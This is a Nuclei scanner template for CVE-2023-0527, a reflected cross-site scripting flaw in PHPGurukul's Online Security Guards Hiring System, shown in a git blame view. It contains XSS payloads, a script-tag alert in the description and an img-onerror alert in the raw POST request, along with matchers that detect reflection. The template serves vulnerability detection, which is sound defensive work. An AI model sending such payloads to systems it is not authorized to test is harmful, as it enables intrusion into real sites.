nuclei-templates/http/cves/2023/CVE-2023-0527.yaml

46 lines
1.8 KiB
YAML
Raw Normal View History

2023-06-26 16:06:27 +00:00
id: CVE-2023-0527
info:
2023-06-30 11:36:19 +00:00
name: Online Security Guards Hiring System - Cross-Site Scripting
2023-06-26 16:06:27 +00:00
author: Harsh
severity: medium
description: |
2023-06-26 17:30:50 +00:00
A vulnerability was found in PHPGurukul Online Security Guards Hiring System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file search-request.php. The manipulation of the argument searchdata with the input "><script>alert(document.domain)</script> leads to cross site scripting. The attack may be launched remotely.
2023-06-26 16:06:27 +00:00
reference:
- https://vuldb.com/?ctiid.219596
- https://nvd.nist.gov/vuln/detail/CVE-2023-0527
- https://github.com/ctflearner/Vulnerability/blob/main/Online-Security-guard-POC.md
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/172667/Online-Security-Guards-Hiring-System-1.0-Cross-Site-Scripting.html
- https://vuldb.com/?id.219596
2023-06-26 16:06:27 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-0527
cwe-id: CWE-79
2023-07-11 19:49:27 +00:00
epss-score: 0.00582
cpe: cpe:2.3:a:online_security_guards_hiring_system_project:online_security_guards_hiring_system:1.0:*:*:*:*:*:*:*
2023-06-26 16:06:27 +00:00
metadata:
max-request: 1
2023-06-26 16:06:27 +00:00
verified: true
2023-07-11 19:49:27 +00:00
vendor: online_security_guards_hiring_system_project
product: online_security_guards_hiring_system
2023-07-15 16:29:17 +00:00
tags: packetstorm,cve,cve2023,osghs,xss
2023-06-30 11:36:19 +00:00
2023-06-26 16:06:27 +00:00
http:
- raw:
- |
2023-06-30 11:36:19 +00:00
POST /search-request.php HTTP/1.1
2023-06-26 16:06:27 +00:00
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-06-30 11:36:19 +00:00
searchdata=<img%20src=x%20onerror=alert(document.domain)>&search=
2023-06-26 16:06:27 +00:00
matchers:
- type: dsl
dsl:
- 'status_code == 200'
2023-06-30 11:36:19 +00:00
- 'contains(content_type, "text/html")'
- 'contains(body, "<img src=x onerror=alert(document.domain)>")'
2023-06-26 16:06:27 +00:00
- 'contains(body, "Online Security Gauard Hiring System |Search Request")'
condition: and